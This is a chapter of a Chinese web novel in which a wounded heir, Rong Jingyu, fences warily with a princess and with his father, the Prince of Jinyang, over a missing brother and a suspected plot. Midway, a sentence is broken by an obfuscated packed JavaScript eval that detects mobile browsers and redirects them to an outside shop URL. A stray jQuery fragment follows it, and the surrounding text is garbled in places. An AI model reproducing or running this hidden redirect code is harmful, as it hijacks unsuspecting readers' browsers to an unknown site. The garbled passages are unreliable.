“罗将军是晋阳王的嫡亲妻舅吧!倒是有魄力,让本宫刮目相看,不担心回去不能同王妃交代?”
“父王一贯公私分明,从不任人唯亲,之前是真信任罗将军,觉得他忠诚能力又不差才让他统率王府亲卫军,今日罗将军在战场上不顾父王安危,带人弃战场而去,想来父王也十分伤心!”
便是没有公主等着一个交代,他那父王也不会多留罗将军,他那么骄傲的人,最容不得信任的人背叛,也容不下受他恩惠,本该被他一人掌控之人更重视旁人,怕是除了罗将军,当机立断跟着罗将军一同离开晋阳王身边的亲卫,也会被一一处理。
“晋阳王竟刚毅至此,希望来日不会后悔,怨恨本宫。”
“殿下放心,父王定然不会的!”
“倒是你那二弟,明明比景俞小不了两岁,却同景俞相去甚远,什么事不能等天明通禀了军帐再作行动?便是再急也该同晋阳王打个招呼才是,怎么能仗着自己的身份,私自点了两百亲卫就深夜出营呢?”
“你父王还说等找到人,要压到本宫这里请罪,这回本宫可不敢交由晋阳王亲自处置了!”
荣景俞眉眼温润不动,嘴角轻勾,到底还是宠爱的亲子,怎么能同手下任凭驱使的鹰犬一样呢?
“二弟还未回营吗?”荣景俞眉头微蹙,似乎十分担心,“边地荒原百里杳无人烟,倒是多有野兽出没,二弟彻夜未归......”
“莫要自己吓自己,他带着两百人马,都是刀兵齐备武艺高强的亲卫,轻易遇不上能威胁到他的危险。”荣晞轻拍了拍他露在被子外面的手,宽慰道,“车骑将军已经派人出去寻了,想来很快便能传来好消息,本宫也命人去查昨夜二公子遇到了什么人听到了什么话,查出来应当就知道他去了哪里了!”
“多谢殿下费心了!”
“说这么客套的话做什么?”荣晞一笑,随后站起来,“你安心养伤,本宫就不多留了,不必起来,好好躺着吧,一会儿你父王忙完了应当回来探望你。”
“恭送殿下!”荣景俞不坚持起身,就在床上低头颔首,目送荣晞离开。
麻醉的药效渐渐过去,密密麻麻地刺痛开始袭上来,让他疲惫地闭上眼,没有外人的营帐,也没有必要伪装外人面前温润如玉的假面,唇角彻底耷拉下来眉头蹙起尽是阴戾的不耐。
但是他也没有安静多久,帐外又响起窸窸窣窣的喧闹声,荣景俞睁开眼睛转过头去,正好看到晋阳王掀开帐帘,带着沉闷的威势走进来。
他撑起身子缓慢艰难地坐起来,撕裂的剧痛尖锐锋利,让他额上生出细细密密的冷汗,“拜见父王,儿臣身子不便,不能起身给父王请安,请父王赎罪!”
床榻边的椅子还未挪开,晋阳王径直走到椅子前,伸手钳住爱子两边胳膊,小心翼翼扶人躺了回去。“可怜我儿,快快躺下!你我父子,你又有伤在身,何必计较这些虚礼?”
看着面无血色满头冷汗的青年,眼中尽是心疼,“我儿怎这般冲动?为父即便自己受伤,也不愿见到我儿重伤至此啊!你自幼养尊处优,一个小口子的伤都不曾受过,这番可是遭了大罪了!”
荣景俞咬着牙忍着剧痛躺了回去,面色惨白的超晋阳王温润一笑,看起来十分柔顺乖巧,“身体发肤受之父母,儿臣本不该轻易受损,但身为人子,怎能看到父王在儿臣面前受伤呢?父王放心,儿臣年轻身子骨康健,过不了几日便又能上战场保护父王了!”
晋阳王走进帐子时本有难以抑制的愠怒,此番也舒展了紧蹙的眉头,开怀展颜:“我儿纯孝,为父身边亲卫护佑者众,日后无需我儿舍身犯险保护为父了,你安心养伤,稍后为父将最贴心的亲信分拨过来照顾你,你可要好好养好身子再下床,可不能落下病根了!我们晋阳王府日后还要指望你呢!”
荣景俞温顺垂眼,唇角轻扬,“父王春秋鼎盛,儿臣还稚嫩得很,要向父王学得还多着呢!儿臣便是有何不测,也有几个弟弟能为父王分忧,但父王不同,您才是晋阳王府的主心骨,您的安危可比儿臣重要多了!”
提到别的儿子,就难免又想起至今在外不知所踪的次子,晋阳王长长叹了口气,“不指望他们能为为父分忧,若你弟弟都能像你这般懂事,为父也能少操不少心了!在为父看来,景俞是不同的,你后面有再多弟弟也动摇不了你的地位,还是要早日好起来,帮助为父才是!”
荣景俞含蓄浅笑,似乎对父亲的直白感情有些不好意思,“父王公务繁忙,儿臣身为长兄没管教好弟弟,是儿臣之过,等二弟回来,儿臣定好好训诫管束他。”
说着又款款抬起眼眛,看晋阳王的神色,“听闻车骑将军已经派人出去寻二弟了,二弟一向懂事,必不会走远让父王忧心,想必很快便会回来了!”
“公主殿下方才来过?同你说的?”
“是,此番虽出了岔子,为了给各位王侯和十数万将士一个交代,不得不降罪于晋阳王府,但公主殿下还是看中父王的,来探望儿臣的伤势,也是想宽父王的心,此事罚过就算就此揭过,她重拿轻放,日后断不会旧事重提,揪住不放。”
荣景俞眉眼舒展,满脸谦恭温顺,配上苍白病弱的俊美面貌,显得像是天真单纯不谙世事的小百花。
他似乎听信了濮阳公主打一棒子给个甜枣的场面话,晋阳王却是轻笑一声,分不出是嘲讽还是什么,“到底还是在他们面前丢了这么大的脸,便是公主轻轻放过,他们也不会错过这么好打压本王的机会。”
说得是其他几个诸侯王爷,晋阳王面上笑意不变,眸子确实冷了下来,像吐着信子眸准猎物伺机而动的毒蛇,“若让本王知道是遭了谁的算计......”
晋阳王这话并未盯着荣景俞说,但他还是背后升起一股寒意直窜天灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177812|188710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盖,身上的汗毛都竖了起来,“儿臣刚回营趁军医还没到的时候,就已经吩咐了亲卫去探查昨夜二弟去点兵前,最后出现的地方了,这周围都是我们晋阳王的人,应当能比公主那边更快查清楚。”
晋阳王转眸看了荣景俞一眼,眼中阴狠地冷意还未褪去,“难为景俞刚受了重伤还要操心给那竖子收拾烂摊子,本王倒是没能反应这么快,不如你脑子转得快。”
不知是不是失血过多的寒意涌了上来,荣景俞感觉脸颊有点僵,嘴唇轻动了几下,想说些自谦或是恭维父王的话,但还是没说出口。
晋阳王的怒气却像是渐渐淡了下去,打量了两眼面色更加苍白的世子,忽然伸手盖上荣景俞的额头。
荣景俞眼睛震颤,迅速垂眼遮掩住微缩的瞳孔,背脊的毛孔都张开了,本能的想躲开,好在胸口时刻提醒他的剧痛,让他生生安耐住了本能反应,乖乖躺着一动不动,任由那张宽阔有力的灼热手掌覆盖了上来。
“我儿怎么一头冷汗?可是疼得厉害了?可要叫军医来看看?”
“让父王担心了,儿臣觉得还好,军中医师资源紧缺,便不多劳烦他们了。”荣景俞艰难扬起一个感动欢欣的笑容。
“王爷,世子的药好了!”亲卫端上一碗漆黑的药汤,散发着让人退避三舍的味道。
晋阳王伸手将药碗端了过来,“我儿好好躺着,为父亲自喂你喝药。”
晋阳王轻轻搅了搅药汤,舀起一茶匙吹了吹应当不烫了,动作小心但极不熟练的递到卧床的荣景俞唇边。
荣景俞眼睛不停地轻颤,一口一口乖顺地将一勺一勺喂过来的苦涩药汤饮尽,等喝完抬起眼眛时,眼眶微红,眼尾泛起霞色,苍白的面庞看上去都要有气色了一些,眼中隐隐闪过晶莹的水色,似乎十分感动。晋阳王看过来,他还避开目光羞赧一笑。
身为养尊处优惯了的,甚少伺候别人的网页来说,看到这样的反馈应当会颇有成就感。
“父王觉得,会是什么人出手算计的二弟?”
晋阳王将空了的药碗搁到一边,取出帕子慢条斯理地擦擦手,“天下熙熙皆为利来,天下攘攘皆为利往,没有人会做无缘无故的事,算计老二谁能得到最大的好处?”
“父王的意思,是那几个王侯?儿臣倒是也有此猜测,轮如今的局势,我晋阳王府,弘农王府和博於侯府略有优势,是这两家出手的可能性最大,其余三家也不是没有可能。”荣景俞装若沉思片刻,还是沮丧道,“没有更多的线索,儿臣还是难以判断。”
晋阳王似笑非笑的看了荣景俞一眼,“算计本王,这几家确实会直接获利,但还有一个人,也未尝没有这样做的动机。”
荣景俞被这一眼看得心漏跳了半拍,“父王的意思是?”
“嘘!”晋阳王抬起食指抵在唇前,嘴角轻勾但看不出丝毫微笑的暖意,“不可说!”